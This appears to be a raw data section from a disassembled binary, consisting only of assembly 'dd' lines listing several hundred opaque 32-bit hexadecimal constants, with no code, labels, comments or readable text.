dd 2110D7D0h, 408B4B2Ch, 0A364F6D7h, 0A9F8DBDCh, 0D10135F1h
dd 4E343B24h, 5FC813B9h, 3DE57EADh, 0ABD2ACCEh, 78F8460Eh
dd 9F09AA40h, 0FB252236h, 6423EDF5h, 9BDB601Bh, 0F4634E73h
dd 0FF09F5EEh, 79DA8BE1h, 5D644603h, 71DEF8C9h, 216F46E1h
dd 0C55B5325h, 1F2A18CAh, 3805DF81h, 6074D81Bh, 4076EEFh
dd 51CAFEA2h, 0C20DFCEEh, 4326DB5h, 25BAB85Bh, 29B9C0F5h
dd 2CB1278Dh, 1F7E46D5h, 4024A331h, 0CB7A8894h, 0F09FD466h
dd 9D70950h, 0CF725B95h, 8031E95Bh, 7A3B0DC1h, 61880194h
dd 5AFC9F4Fh, 4C622E4h, 9BD2930h, 0C5CFB917h, 2CE8FC8Ah
dd 0B24A195Ch, 88DB001Ch, 0BB167B6Bh, 31702F8h, 0CD495130h
dd 3D77858Bh, 4E100F6Ah, 8D669280h, 0B99460CEh, 4834C40h
dd 0D091169Eh, 0CE5E009Dh, 683FB361h, 767E4900h, 0D22CBBEAh
dd 812B303Bh, 0A885B6B0h, 5E8B1527h, 0A9FC446Ah, 0A3A6D665h
dd 0DCB5FCA0h, 9920FF90h, 0C04CB52Bh, 5B14CF0Eh, 9D234242h
dd 0E9D8A2F5h, 64A95F9Fh, 0EAEDD085h, 89A89E84h, 0C9EA9B4Ah
dd 0BE59C6B9h, 0B48D4077h, 410499FCh, 1233C33Ah, 23716BAEh
dd 13320216h, 655CF9C7h, 24EA2B64h, 0D25DACD7h, 0EF8B7D9Bh
dd 1B40E850h, 44E8E489h, 40001D0Ah, 6F0DF8A1h, 0C78ADB7Ch
dd 0D8A5BD72h, 8F645F12h, 8A165AACh, 2BC081DDh, 925C7B31h
dd 46E6F9D2h, 5C3018B2h, 0A72517E1h, 0AFAE13B1h, 282B4DE1h
dd 0DCBA534Bh, 90505F2Fh, 1775D639h, 0B69AAE95h, 256E480Bh
dd 6AE0FE5Fh, 0CA56082h, 1225ECB5h, 4846C48Fh, 0F3092858h
dd 1F715467h, 0E34B4D2Dh, 0E688D686h, 0E51796FFh, 1A1E7E0h
dd 302E2431h, 2C13E5Ch, 274E597Ch, 0EB0042A2h, 0B3F12C3Ch
dd 1E00254Eh, 14573BB2h, 181AE398h, 0AEFE5C29h, 0AE4B62DBh
dd 0FB8B9F04h, 0B713EFE9h, 0C19704FEh, 0C03BB91Fh, 0F74FBF66h
dd 0E0D8AD61h, 0D699EBB8h, 3682774Ah, 291ED70Dh, 163DE880h
dd 1104C7B5h, 1BE91A05h, 75DD540Bh, 7B5188C9h, 84777127h
dd 52F1BD0Bh, 6A9CD9A2h, 9B509D8Bh, 758B8785h, 0F47F5403h
dd 0F7F14801h, 2987037Ch, 0CA3EDF21h, 0B35105E7h, 0DB495BC0h
dd 0E995560Ah, 9DC5B07Fh, 0DC094AA9h, 0BD123323h, 0A4B219D5h
dd 0A428A6D7h, 8170EDEFh, 20E98531h, 0E087523Ah, 0E29557A9h
dd 0D5C675CBh, 63D32802h, 0D6962E71h, 781B15E3h, 7EF8082h
dd 7D6BB056h, 2F60D01Ah, 0E80B7032h, 70F8607Ah, 0A9EDD2D5h
dd 1B6EC80h, 46AA7FE1h, 2B36C259h, 830FB531h, 0E7802740h
dd 859A9569h, 1DC27263h, 0FF30BA55h, 722E3602h, 0AB284156h
dd 50530569h, 40BBB437h, 0B525BFF3h, 823D0B01h, 0F50D4ECBh
dd 9545ABD0h, 31574999h, 0C572A7Ch, 0EFF083A6h, 0E29DA294h
dd 0A792FD35h, 0C5238874h, 0FC4DB233h, 3E0C2DABh, 1C0FD56Ah
dd 70EB0DD7h, 68950430h, 254A690Bh, 692C5692h, 0FCA534DEh
dd 35BD8544h, 342DAF0Fh, 0B0D8F66Ah, 0B0C9EAD3h, 8837121Bh
dd 5F94A327h, 91F28585h, 6A45618Dh, 0B102856Eh, 0F9B531AFh
dd 0E65F6A4Ah, 0DAD61C26h, 9D360534h, 120884E4h, 0E0B0E67Ch
dd 29EA282h, 399209E7h, 84770AE2h, 0FC0A11E5h, 1946DCA1h
dd 4B3A7900h, 81B8D251h, 9B83D705h, 0DA17582Fh, 1DC8E1DAh
dd 0E5E9DBC0h, 0A1200209h, 270C4F58h, 58548B89h, 0C7D40255h
dd 7E418F9Bh, 7DAC65C1h, 8C18ACEEh, 0DFBD205h, 0D8E87FE0h
dd 9B916B80h, 0C800AAE1h, 4DE4415Bh, 263AE3Ch, 108AF5A2h
dd 556C522h, 7C093D51h, 81169FEAh, 0A4D9DEB8h, 43DE2AC6h
dd 0E1FAE980h, 0EB02885Bh, 0B70C889h, 1C4AFD9Dh, 7C69C9F9h
dd 70E105Ch, 0FFF594E9h, 8104B719h, 0D25BA30Eh, 697696CAh
dd 0C12587FDh, 987059F3h, 228D1CF2h, 57FDD601h, 0AC0EFDF0h
dd 0FE0B8C17h, 44C695DDh, 2CDA0004h, 0B0E651F7h, 9E03F94Ch
dd 0FFD439CCh, 287DD0B4h, 1FDC4C26h, 9D1A615Ch, 9FFCDD95h
dd 5BDC511Ch, 0FAF0696Dh, 900ADC07h, 2E6930C4h, 4F20C7CDh
dd 0A4454AF7h, 2A50FD85h, 7D4B736Eh, 0B509DBF8h, 8C512081h
dd 8395882Fh, 0E1BB9080h, 0B5393C2Fh, 93035218h, 1B327400h
dd 0A047711Ah, 0D3640081h, 9D2B907Fh, 2595022Dh, 0DE1A554h
dd 81B09E7Fh, 367B4BB4h, 16582C6h, 0BE385517h, 660A6056h
dd 0A2A319BBh, 5B57C61Fh, 95CE60BFh, 4EB510BDh, 8B0F2EC0h
dd 2A6BCF80h, 7669BCFEh
dd 7000D4DFh, 6FC8BE49h, 4A11B041h, 7C718AA0h, 8F7A2EE1h
dd 29C6B62Fh, 1B11B480h, 61760289h, 0D4CA80F0h, 82B7F605h
dd 8604328Dh, 418D0CF9h, 48961E20h, 512D4194h, 0D5B17D46h
dd 9096022Ch, 0ED80D59Bh, 6ED93880h, 9318BF5Ch, 4884339Eh
dd 0AB56C2E2h, 1C424755h, 7A23567Dh, 23100132h, 512F247h
dd 25CD820h, 0EF8060D4h, 5477292Eh, 0A46194D4h, 9D2945Fh
dd 0B253F990h, 5024DBADh, 7331EDA6h, 90FE508Dh, 3133CD2Ah
dd 47423AA2h, 91808EBBh, 3E7690D3h, 8D4865F2h, 51950C51h
dd 0AD8B49ABh, 0D94A8BEEh, 18B2F0A6h, 6CCC2231h, 206A5EC6h
dd 0FAA03AC0h, 13BE6200h, 4A33DB73h, 965B01D7h, 0E266F1A9h
dd 0DA6F2F6Ah, 0EF922F00h, 967240B8h, 76753227h, 0F1FC69B4h
dd 2482D135h, 0F0D67D25h, 0CD5E2EF4h, 0F879007Ch, 65BF345Dh
dd 5B60712h, 242DCFA6h, 67C37910h, 1C924Ch, 0E6ABD380h
dd 248D0970h, 622E0AF5h, 0ACF071E4h, 2B31C5Ah, 0F481FF35h
dd 902CFB2h, 0FC56FA39h, 58806CBAh, 0B8D2A91Dh, 0BD678069h
dd 190E018h, 0FC66A36Bh, 0C13F8653h, 5B42200Bh, 0AA042ECCh
dd 0D79C25F7h, 87E0C242h, 9AB8C82Bh, 5D242D31h, 173F33D1h
dd 7535FF0Bh, 7401F0A2h, 2138B877h, 13065576h, 8155C12Eh
dd 7F9D121Dh, 7C0CC10h, 321D6A0h, 891D59Ch, 0CFD6522Dh
dd 8C6F2ECDh, 36011891h, 32B29F65h, 482AEF99h, 0F8A52BEEh
dd 0B30B6443h, 0F8604056h, 9CFCB81h, 6144FA89h, 62006871h
dd 0E2DD4D17h, 0F3E81486h, 0DB008B6Ch, 63EED7A7h, 71B5CD62h
dd 5A97A017h, 92FEA2F8h, 0A514AC5Fh, 20FE3215h, 0DB802103h
dd 8BA0A1CCh, 323EC12Dh, 0CD05282Bh, 0ED22F82Fh, 13EBE15Ch
dd 0FAA889EEh, 3BB7FF6Ah, 0DF13CA82h, 0C8665549h, 4CB789ECh
dd 28902D64h, 5DD67E76h, 4582F01Dh, 0ECDF3447h, 0AAB97B3Fh
dd 61CD5FFBh, 7A657E0h, 219004F6h, 0EB050D5Eh, 238DAA04h
dd 0E1122F14h, 0B841F9FCh, 0D48A01D1h, 8250F936h, 80245B60h
dd 1FF0715h, 0EEEA903Fh, 2B2612B7h, 0E0EDB6C0h, 907C9D3Eh
dd 360D4470h, 43F57500h, 60BB5E27h, 0BE6744Ah, 0D22BF6A8h
dd 78D62FC2h, 69C05325h, 4750C4D3h, 0B1930BEEh, 4B82AEC7h
dd 37752E9Ah, 6F792D99h, 8046093Bh, 4431DD5Bh, 2BDEC9FEh
dd 14F8B222h, 4004CD9Dh, 0FFD6D1E5h, 5AFD061Ah, 0C262D7A2h
dd 0F95438D5h, 0F5951209h, 0B591B314h, 0A6A182E6h, 13AAE4CAh
dd 6205BF25h, 99264010h, 7767B511h, 0D32F711Ch, 0CEF5D210h
dd 8D0F27DAh, 0FEA02844h, 0CD4DDEC0h, 6461257Bh, 9D0115BFh
dd 9A4A9549h, 0C017C89Fh, 9445785Bh, 7A06C2BFh, 0FCE16254h
dd 0E9DB0F91h, 4A7879A7h, 8400D6A2h, 52DBA4A0h, 9AEEB81h
dd 5B2E937Fh, 2C46C859h, 6C5C9568h, 86D905DCh, 0BBF1DAD5h
dd 9993D530h, 30161DAEh, 5E37416Ah, 2B97DACBh, 0E9B7F828h
dd 92CF3F5Bh, 0EB9F6665h, 2FD9CC1h, 0D2B79B14h, 2E7FC8AFh
dd 0EFC99012h, 9B6A11E1h, 5323828Ah, 252E5CFFh, 0D116C037h
dd 4D29F230h, 3BA70E2Fh, 9DC0570Ah, 9ED98809h, 0D7FB2C0Eh
dd 72F8E9E2h, 37A3EF46h, 459F585Dh, 7DDFA15Ch, 82484CCBh
dd 0D72FB17Fh, 0E3A9173Ah, 53563A55h, 0A84B5074h, 0ED5C2600h
dd 1A18D7C1h, 0D74A9D50h, 93B77Dh, 0A4C8BD97h, 0F88910E9h
dd 7050E8h, 59E5396Fh, 49FC8427h, 0D0C6C21Fh, 64D3EFh
dd 52E8740h, 0C50E2822h, 31E6836h, 98BB8871h, 97149201h
dd 3E16000h, 9DE677AEh, 0F90D8527h, 0B35D4BEBh, 5C24DAA9h
dd 6B09E747h, 0D94547DCh, 0ACA534BEh, 0F756CF3Fh, 39F06527h
dd 1F9955Eh, 827BB7B5h, 2E5B25A9h, 1923216Bh, 0C4D3400h
dd 95231A5Dh, 0DB8018D4h, 0F6E08E8Fh, 752F00EBh, 63DAEF24h
dd 2D02C92Eh, 0B237442h, 4073D433h, 0AE5B4F7Dh, 0E79AC000h
dd 0F1D4EBC5h, 45F5AABh, 0B81D201Ch, 55F9C953h, 30E02CB2h
dd 0E5B52A41h, 0BAEDAF53h, 2E385D49h, 62C4F8A3h, 22AF3071h
dd 4C5CC274h, 0E92199A6h, 96870125h, 0C149810Fh, 0B3F0D83Fh
dd 8C6AE641h, 9E00FF99h, 0BCE42A3Ah, 58B46h, 0C009C57Dh
dd 0AA461AFh, 9684FA16h, 30066EBFh, 0B5DBB22Ch, 950B972Bh
dd 0F66CFCh, 0D8E4163Ah, 6897D0ABh, 0F3E80F0Bh, 7970h
dd 0DAAD3F09h, 89001519h, 47C886C2h, 4F27B701h, 0B3D55642h
dd 0DB164E58h, 0F0019CA8h, 2970ECEBh, 5FAC2ABDh, 3A85CD4Ah
dd 0C5AFDA35h, 8E3AF831h, 0ABAC16E1h, 3119C8D2h, 80B8F9B5h
dd 0F5EF056Dh, 3C4B5BB5h, 404BC8h, 0A5E6ECE9h, 51BEB0A8h
dd 5F5BEF18h, 162BBFB0h, 0AD7735B1h, 2CBD27CFh, 48FD7C6Ch
dd 0ACA4EA14h, 4ED480F7h, 12D37AC0h, 9B6149B5h, 9E7C8010h
dd 9EB4399h, 3D8CBBFAh, 81607971h, 2174CEE3h, 11643D6Dh
dd 39320A52h, 6454A5B0h, 0E3D9D61h, 0CBBEC0Eh, 65A9F238h
dd 324BB9BCh, 0DB227E8Eh, 0C06A6DBDh, 6DB1998Ch, 82015327h
dd 96639480h, 3A825AFh, 6D43AC4Fh, 2DC62AE7h, 52BB04C1h
dd 0AD42A196h, 0A9958465h, 3647C853h, 127F8EEAh, 397E6100h
dd 74DC3586h, 133009D5h, 7656D8DDh, 500B5BEBh, 2116A31Ch
dd 0E0EDB589h, 4B6D8350h, 6ED29D23h, 0DC80C99Bh, 8E85AB8Bh
dd 60487E01h, 0A59BD31h, 51845E6Ch, 0B4FCB802h, 93A89EEDh
dd 56001698h, 0DA96EADEh, 5E29BB74h, 4A75A99Dh, 2F2620EAh
dd 0A717DA7Bh, 82B1D37Ch, 0A17B577Ah, 71422A61h, 9AC9DB80h
dd 0A73755D6h, 0E9302F97h, 0BDD876h, 0EEB39153h, 4E718327h
dd 0DD8CDB01h, 0A62A4CEBh, 0C870DA6Ah, 80BEC014h, 0E2ACE5CFh
dd 8079379Bh, 5AE50A20h, 4084B71Ah, 0F4A95AFh, 4DFB6ADh
dd 0BD2DD185h, 0CFB3C43Ah, 562C37BCh, 295F019Fh, 2F15018Dh
dd 0BEC13B24h, 0B72A2F41h, 9D717F89h, 0B8361950h, 5DA7C28Ah
dd 3A6A11E9h, 0A201756Fh, 31C5B557h, 9ECD22B0h, 2F32E7E5h
dd 7650CC7Bh, 0B28B4E2Ah, 60960723h, 0AF81F6B8h, 0CCCB6150h
dd 3DB97AE9h, 0DA8AC119h, 0A2D540BBh, 60C0996Bh, 0D678E81Ch
dd 2CCD204Bh, 9EB8722Dh, 56168C17h, 8F70A144h, 39A24DBCh
dd 81DC3DDFh, 84758F28h, 8397454Ah, 97EC6BBh, 879A6151h
dd 811FBA0Eh, 66C19684h, 742F23B9h, 0C5BC05C6h, 229AB05h
dd 0AC1479F0h, 8A0F2F18h, 75255FC6h, 0F4375710h, 71EC9489h
dd 9B14FA7h, 55FC8A51h, 4BBEFE14h, 830917D4h, 0A2180173h
dd 986BF7ECh, 0BBF989E0h, 16B60DC0h, 2334C65Ah, 5B6E004Ah
dd 10221DBFh, 0DE4400CAh, 0A0627C48h, 7012DB12h, 86A86580h
dd 5846BF5h, 56E9E4DDh, 48A313AAh, 0C198243Fh, 972C45B2h
dd 1B919537h, 0D069C187h, 0BECB9293h, 4AFD78BFh, 4C3D585h
dd 130B9DF0h, 7F67011Fh, 2B00286Eh, 0AB7B0E76h, 421C55h
dd 6F8A5A4Dh, 0D701E33h, 0F9907725h, 0DB7E8726h, 401BD05Ch
dd 909DA8BFh, 0D307A4h, 29DFB3B0h, 0CE34986Fh, 807FD709h
dd 85650B9Ah, 0BEFDDD42h, 2D6E97h, 0B530C7B3h, 27B160A8h
dd 0F96063B6h, 0ABA10AE2h, 7A23CD76h, 1AC1FCDBh, 2AF987F2h
dd 0E721E6A5h, 4280512Ch, 49BEEDFh, 0E067F600h, 9073D509h
dd 508525B7h, 0C7812A60h, 4278B604h, 9BBE6A07h, 7601C081h
dd 417A914h, 5DB70FFAh, 0FC6FFA6Ah, 0CB137602h, 4E55A279h
dd 0D4A596D5h, 73708402h, 0F896ABA6h, 0A22AE196h, 0ACF1D5CDh
dd 0B16E2DF3h, 49F66480h, 62C45731h, 59012005h, 6BD1FF61h
dd 0A8803BDBh, 84C22737h
dd 0C5A7A909h, 4E2E79ABh, 0B64A383Ch, 986DF33Fh, 17B75AAEh
dd 0A6026AC1h, 9A78E0FEh, 0B47001EFh, 0D42C7131h, 3C432550h
dd 56E5A1Eh, 6B7E352Dh, 3C0ED552h, 2F0129F7h, 80172AE0h
dd 9C9780E9h, 828DF803h, 2AA3443h, 4029CFDDh, 5FC0D932h
dd 25C20E00h, 0BD33DB1Ah, 0A7144AB5h, 0B9CD4FACh, 5AF5A760h
dd 0DDD1E91Ch, 62367E2Dh, 6825F56h, 0A808F98Bh, 94BCBF02h
dd 0DC4BF690h, 59034E00h, 904CB9E5h, 0AAB225A7h, 0FE8DEECCh
dd 0AEB742E0h, 3AB007E4h, 85EE15CCh, 1D882ECh, 19BDF524h
dd 3717E192h, 747EE2E0h, 57D809FCh, 2B2C8ED3h, 5F003210h
dd 75CBF381h, 6A4A3DB0h, 0FBBC2BE9h, 7C01EA01h, 29D36EE5h
dd 0AA9E1DAh, 0D7DD7E07h, 0B157211Dh, 71602E1Eh, 1D987Eh
dd 1B998695h, 49E75E3Bh, 5CD10B1Eh, 3E053282h, 0C7045E9Dh
dd 8B1708EAh, 0B08ED5ACh, 70E6FC03h, 126DE410h, 5371E40Ch
dd 0B694D28h, 440272F7h, 0CF5881C7h, 5AFD16E8h, 237824ADh
dd 0F6A6083Dh, 157D8425h, 0A1B461AAh, 0B500C0Fh, 0C82B5BF8h
dd 8B064754h, 0EA8753D1h, 5F5B8005h, 90E8E94Ch, 6385C087h
dd 17714D83h, 0B221D290h, 843ACBB0h, 0A2E8A909h, 2FD5FA89h
dd 0CFBADF7h, 0B9D804C2h, 8B1121DAh, 6EDC2AD5h, 0ED8529C0h
dd 0A05BBD05h, 29B5B2B2h, 2B11C359h, 0F82F6B5Ch, 8010457Bh
dd 0A58A618Fh, 66FE0126h, 0A24D63BBh, 0BF3F5F84h, 0CA984B7Eh
dd 23022FE0h, 2EEC4ACDh, 7470002Fh, 0B4854999h, 9D712BF4h
dd 81A92348h, 7218F781h, 0A92A57F1h, 1237A94Dh, 0DABFA200h
dd 83BB953h, 40E54FB5h, 0B3F6B8A5h, 0DF8BC517h, 0E3AFECB0h
dd 99E092Eh, 1D208204h, 2BFDC1E7h, 59CEA72Ah, 0F6FAAC8Eh
dd 5E5A28Eh, 7FABD9E8h, 1C230Eh, 4183B7CDh, 82F2A57Ch
dd 8501C60Eh, 0ECB717C1h, 344C5FA2h, 29479095h, 0CACD5BB5h
dd 93F591Eh, 448A44C2h, 6063B46Fh, 854B6E2Dh, 0BAEEB3E6h
dd 3D85614Bh, 0C03A9EFEh, 0C864287Bh, 0C8A45E45h, 5200236Ah
dd 0A379514h, 0EE180Bh, 50CC87BEh, 1CC41E5Fh, 1061634Ch
dd 5B1806CDh, 1BDD1051h, 567D568Ah, 2B6F85B7h, 78A042F7h
dd 91013EB1h, 0EB942670h, 88896925h, 83710FFDh, 4D50D1CFh
dd 9CD69AE1h, 9D4F257Bh, 48915D49h, 71742EF8h, 98C0F1DAh
dd 0F7B75156h, 662F20Ah, 0F913983Ah, 0F66E2C89h, 4090809Dh
dd 26B2FEDAh, 0DE4DE1FFh, 72BFCA00h, 6266718Bh, 0DC3F00F2h
dd 0E865D381h, 1497029Bh, 2A7745AFh, 8217538Fh, 0E84FED04h
dd 0FC38122Dh, 8D78E23Dh, 0D6205920h, 600840F5h, 0DFB9B725h
dd 0F516B3BDh, 0CE54350Ch, 390997FEh, 28DCDDF6h, 978051C4h
dd 8A005965h, 0F99356CAh, 235F03CBh, 83D1E884h, 3D4C81B4h
dd 55CC6A0Ah, 0E7015B30h, 7669A0FDh, 5913252Ch, 4688FA46h
dd 0A7E4D64Ch, 0F61A0E00h, 0F96E6BADh, 441A9758h, 383DCC5Fh
dd 5040358Dh, 5C124D98h, 12C44937h, 0A2B8AEF9h, 12BDB558h
dd 92B2D4C4h, 80ADFC5Eh, 2D523235h, 0E9B1005Dh, 8AB24763h
dd 92E47E77h, 82765F69h, 5D95B5D3h, 2B681480h, 0F74EA4D7h
dd 4B570ECCh, 0D434805Bh, 84E7A2Ch, 0D3E09EB6h, 80040B92h
dd 76532CB6h, 0BFB074ABh, 45167F6Ah, 72F881D1h, 0AED82AECh
dd 834E01D3h, 1DE94217h, 2EF73A02h, 3B12C0A0h, 5F16F702h
dd 40CCF484h, 95316938h, 395C4059h, 2B1F4348h, 9DC6A512h
dd 0E1B5891Eh, 0E18254A7h, 2EDAB70Fh, 0EF815430h, 20F47C52h
dd 9D12896Fh, 5AE71B69h, 3A04F82Dh, 10E2A28Dh, 61253035h
dd 977C39C2h, 368713DCh, 0C1A2DAh, 0D0BDEFDDh, 232FC9h
dd 0C4325F54h, 5696A830h, 66F4609Dh, 0A3AE3ABEh, 0DAEFA0CAh
dd 0F11A36FDh, 528B5190h, 10F50B5Bh, 258D01B5h, 0F9540FF5h
dd 0D4E6745Ah, 7ED7771Ch, 941EAF82h, 0E0965583h, 0A433BF39h
dd 501399FAh, 0C00AF2EBh, 3094F54Ch, 21740058h, 16970E9Ah
dd 8179103Fh, 59E6F825h, 24D0A8EAh, 4BAD5406h, 0F4D00975h
dd 8C08E076h, 430703D8h, 984F2455h, 0F11A9BD0h, 58DC9031h
dd 0E417091Ch, 5ACB6F58h, 4131CCE0h, 11C93E2Bh, 259D8h
dd 0F97B2401h, 5F5B51A3h, 0B6A90897h, 96D09FCh, 2B259838h
dd 0CCDFF14h, 740BAE4h, 65D6064h, 0D5507B63h, 60AC6FBDh
dd 0F380A19Bh, 924AA04Dh, 0B219280Eh, 0D1211B2h, 0F706B831h
dd 1709B5D1h, 0E4E15B0Fh, 0F031E62Bh, 9552EEE8h, 3BE90FE9h
dd 9BAB1B85h, 6A83C0FBh, 0EC66C00Ah, 5F513BFh, 80B9AC51h
dd 2C0919A6h, 5FB52F4Ch, 0E69E2610h, 7372B70Fh, 71D1C928h
dd 8101D7E1h, 0F9CE7DC7h, 978DB3CCh, 0D574DE14h, 0C0DB3BE1h
dd 0AAAD67C4h, 0B77F83A1h, 0BADD0792h, 0A880C225h, 24D6DC4Fh
dd 590E615Ch, 89759F94h, 29ABD953h, 41B1F312h, 689C2B2Fh
dd 3FCB2580h, 6D9DAB64h, 3CAFE2B9h, 235150E0h, 25E4DE82h
dd 81500654h, 0ECD00BDFh, 7263644Ch, 4B4EB8C4h, 0B37E21EBh
dd 0BE5F54F0h, 0ABC0A7DBh, 0ECFB13A6h, 0DAE3D817h, 2A51CEC1h
dd 3B2ADD6Ah, 86461EA3h, 0A0BBC84Eh, 2EA40500h, 8832DB04h
dd 5F5C0E58h, 6A205B4Ah, 0B8E78092h, 5B272997h, 2BFFD174h
dd 0B39253BCh, 0BD0C5943h, 5F12A33Bh, 7D0D2CC2h, 2DE8424Dh
dd 0E3D96760h, 974302A5h, 5D3FBB66h, 95BE2157h, 300D1F35h
dd 0DB4B4B41h, 172B8199h, 0C0DDD87Bh, 0B6188300h, 0CF15AFB4h
dd 464B00B1h, 3B25EDD8h, 0CE5A2070h, 3095AE3h, 0C25EA59Dh
dd 68616A16h, 0B82A4B5Dh, 0CB5180C6h, 0F6D3D977h, 2EEC0591h
dd 428D55Ch, 8A0871B8h, 0F7B31399h, 5FDB2C1h, 0D6D49678h
dd 18B52077h, 98FDF8B5h, 1A8027D5h, 2B81DC73h, 954E63BAh
dd 220FC86Fh, 3BCAA100h, 2E8BB10Fh, 0AB239041h, 0E9834E83h
dd 38B9EC91h, 0E0924B64h, 98C6EACDh, 0B2DB12C8h, 0B292E637h
dd 5CD5301Ch, 0F13BEA72h, 474A8D43h, 5768FC60h, 0B1D7C1A7h
dd 0CC49FD63h, 760074E7h, 0A8B9F941h, 2554254h, 0F85608ADh
dd 0B55C6159h, 96122A51h, 413BDFF0h, 2DB5F67h, 4B047F8Eh
dd 34558107h, 2AB4596Eh, 637DA2DDh, 23DEECA9h, 1B31909Fh
dd 2F40012h, 74D2D5CEh, 0CCA68D33h, 0C74B13B0h, 4B8B64D8h
dd 60CC8DD9h, 0D29A0D1Ch, 59B59495h, 0D2F8DE66h, 5F3EB700h
dd 0B5B9AFCh, 950AB86Bh, 10DFD79Ah, 44623Ch, 10BF38B6h
dd 85192A01h, 80FDC41Ah, 0B02557A2h, 9BFB305Bh, 0B4001A74h
dd 6C5C5793h, 7BFF4D79h, 1F867C37h, 0D7E3F2FEh, 28D189C6h
dd 0C8CF4A1Eh, 0C09A9A5Ah, 0E9A5BF73h, 7DCD8809h, 7612DD01h
dd 0D7466067h, 422E93F9h, 1EAD95D8h, 4325BD18h, 0EA9A9308h
dd 3ACEE180h, 0AB0F657Ah, 8B6DA10Fh, 191BF550h, 3E6AFAE1h
dd 0B101FC6Fh, 3803DF8Dh, 1A137FC2h, 658A0B2h, 6507E114h
dd 239D5C09h, 0DED67Eh, 47B0E79Fh, 565B97F9h, 40ADC240h
dd 897FC15h, 2DED99Eh, 30FCFD48h, 9B2210E8h, 0FA56C083h
dd 3B82004Dh, 0C5056387h, 8E28AE41h, 3120DB91h, 815B001Ch
dd 86699DF3h, 0A7B6900Dh, 0D02EB841h, 75E402C5h, 0F05600A9h
dd 0B6F34A67h, 3C2FD26Dh, 0E10356C5h, 745F7CDEh, 905EFE4Eh
dd 43E0E4F6h, 8DBF7AC8h, 0DB3B42E8h, 0A1798230h, 2DEADC37h
dd 20C0874Dh, 0EA6B708Ch, 11F648F2h, 0D989DD2Fh, 17590B73h
dd 0A612E818h, 0D1B3CDC2h, 12526950h, 0F313D10Ch, 61A7410Fh
dd 46DBF2C1h, 28A6B270h, 25D18C34h, 0E4C545C1h, 0E6FD8716h
dd 5F0057ECh, 0D1525DFh
dd 2CF9614Ah, 1D6D026Ah, 0F2EF228Bh, 0B3299361h, 0C2BD0E79h
dd 8C90042Ah, 671CA75Fh, 0BF40391Bh, 0AFF3F9ABh, 528C1F9Ah
dd 0BB3383F7h, 7CB29412h, 9CF821F7h, 5D3D90C4h, 429599B8h
dd 0C152CC31h, 0E9679B54h, 0EBA32A0Eh, 169D6684h, 2641BE30h
dd 5F3F00EBh, 0EA1A8AF7h, 9403400Ah, 7B9B63DDh, 6EAADCE6h
dd 0DF43002Bh, 0EE8E7539h, 46010F14h, 0BFA351A6h, 7B99E634h
dd 35D5C65Fh, 801B91A7h, 0BDA9CA9Fh, 278504BAh, 0EB9D8B20h
dd 49F5D5D2h, 0EF21FBEAh, 0B7028C2Bh, 56C9324Dh, 0F672F7F6h
dd 69065E11h, 80F93777h, 0BE148DA4h, 364BFBEDh, 7A7BFB89h
dd 8AAF07A1h, 0E3F096A2h, 4EB85B4Eh, 94F8A927h, 3917975h
dd 0D8829880h, 4ACB6229h, 0D371EEEEh, 5D701C25h, 431E64CDh
dd 85C0B9DAh, 0BBE60162h, 8D329E00h, 7D5C16E2h, 1A0905E6h
dd 46B03F3Bh, 3E7BBDD9h, 0A5E076EBh, 0BFDE00D5h, 4B66EF2Bh
dd 25DA9133h, 5DD31001h, 226F2D78h, 0DD587589h, 66BAF92Fh
dd 82C97762h, 2E3384FFh, 69C4DAF8h, 92E4B80Fh, 0A6037208h
dd 0D95AA50Dh, 92768C48h, 0B5BCE2C5h, 651E304Bh, 0EF4EFC42h
dd 615538AEh, 90C82B25h, 716CB71Ah, 158044Ah, 0FA18F185h
dd 64D1394Bh, 1B28008Fh, 2CC01098h, 250E0CB5h, 5434A1E4h
dd 0A5C8D8BCh, 0D8898114h, 0E5D608D5h, 5720B609h, 0D00D946h
dd 0C0BAB666h, 28C5D36h, 7E7B539Fh, 215E4193h, 8E0C2328h
dd 5C7A0819h, 0A2235A25h, 3DBB3BF2h, 0EE3E2569h, 0B529092Ch
dd 0C65D1895h, 359F90D1h, 0FF931909h, 23B5D9C8h, 840B1501h
dd 31FD137h, 570EE8A8h, 1B80A5FAh, 199D09FEh, 2FE9204Ah
dd 2D5FF580h, 0AC00CA08h, 73F31D56h, 4FF6363Bh, 4C01BC71h
dd 95EC5A74h, 387BD9C9h, 230CDD04h, 1CDD6FFAh, 9235E4FEh
dd 0C8AEB612h, 0E32780F0h, 0B2B755F1h, 32F6A980h, 97070595h
dd 2A035399h, 0B91F1FB2h, 0E64FF83Eh, 7EDF092h, 5EE60947h
dd 357809A4h, 0C0E84D9Fh, 0FC36CC6Dh, 0D6F2014Bh, 6FC02B16h
dd 3B7405D8h, 1FE22301h, 3BE0FC4Bh, 8BA2CBE4h, 9BDA7700h
dd 0F5C8F450h, 4DA8180Ch, 4CDF2AB8h, 2B15A1C9h, 6DBC8DD2h
dd 74218602h, 5F8DA858h, 0E620F998h, 0E99148h, 417438F5h
dd 25F82DCFh, 9FE75B09h, 77EE90ADh, 0CCB60060h, 16A4ED51h
dd 0DEEAB39Eh, 958D3700h, 0A6BF4076h, 2E2824ECh, 703D0286h
dd 745E3CDBh, 0C0B62F4Bh, 1BC326F3h, 60F79E42h, 1541B509h
dd 80A0CE95h, 1272CB1Bh, 0AB719A74h, 18C8732Eh, 375BE6C0h
dd 56224C80h, 0A03A1DC7h, 0E22074C9h, 6DD56B05h, 0D702472Fh
dd 0FC8AC1EFh, 0BB384057h, 90129DCAh, 36F2A38Eh, 2B7BA489h
dd 130732D8h, 8828EF02h, 4B7FAE21h, 0D6B8850Eh, 7987C980h
dd 0FBB015Eh, 2F37EB2Fh, 0E69A4275h, 0BD2202D3h, 6655135Dh
dd 0A135B773h, 0DE30B90Bh, 0A05547C1h, 0DB7DBB66h, 54205B4Ah
dd 1898FD8Ch, 1E918B52h, 4E1D9E6Bh, 6509302Ah, 0D99082B7h
dd 513D5E5Fh, 0DC601285h, 0FAD76016h, 0CE0B4CCFh, 743E56BFh
dd 0F5FE2771h, 41938059h, 23B10989h, 2FF84111h, 0D7343728h
dd 996FAF2Ch, 67806209h, 0F90BD554h, 0CB0D18B4h, 0F902Fh
dd 1132BAF8h, 60CA64B2h, 2B788325h, 3C56415h, 0E867031h
dd 0B6902ACBh, 6016D015h, 855C7FB7h, 0D98CC531h, 6E5E172Fh
dd 0ADD0962h, 0E1107739h, 0A497B1B3h, 0C8525048h, 0BD023471h
dd 9511FF97h, 15B1DFE2h, 1540ECD0h, 58FDCAD3h, 0F98D3182h
dd 25716575h, 5401550h, 36BF0450h, 0A166823Eh, 0E06A768Fh
